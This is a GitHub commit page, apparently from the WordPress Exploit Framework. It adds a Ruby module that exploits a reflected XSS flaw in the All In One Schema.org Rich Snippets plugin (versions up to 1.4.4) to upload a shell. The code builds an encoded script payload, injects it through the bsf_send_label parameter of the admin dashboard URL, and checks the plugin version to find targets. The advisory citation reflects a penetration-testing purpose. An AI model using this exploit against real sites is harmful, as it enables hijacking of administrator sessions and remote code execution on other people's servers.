Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 3b47a5a

Browse files
committed
Add All In One Schema Rich Snippets <= 1.4.4 reflected XSS shell upload
1 parent e24adee commit 3b47a5a

File tree

1 file changed

+37
-0
lines changed

1 file changed

+37
-0
lines changed
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
class Wpxf::Exploit::AllInOneSchemaRichSnippetsReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
include ERB::Util
4+
5+
def initialize
6+
super
7+
8+
update_info(
9+
name: 'All In One Schema.org Rich Snippets <= 1.4.4 Reflected XSS Shell Upload',
10+
author: [
11+
'DefenseCode', # Discovery
12+
'Rob Carr <rob[at]rastating.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '8834'],
16+
['URL', 'http://www.defensecode.com/advisories/DC-2017-01-002_WordPress_All_In_One_Schemaorg_Rich_Snippets_Plugin_Advisory.pdf']
17+
],
18+
date: 'May 24 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('all-in-one-schemaorg-rich-snippets', '1.4.5')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'admin.php')
28+
end
29+
30+
def url_payload
31+
url_encode("</script><script>#{xss_ascii_encoded_include_script}</script>")
32+
end
33+
34+
def url_with_xss
35+
"#{vulnerable_url}?page=rich_snippet_dashboard&bsf_force_send=true&bsf_send_label=#{url_payload}"
36+
end
37+
end

0 commit comments

Comments
 (0)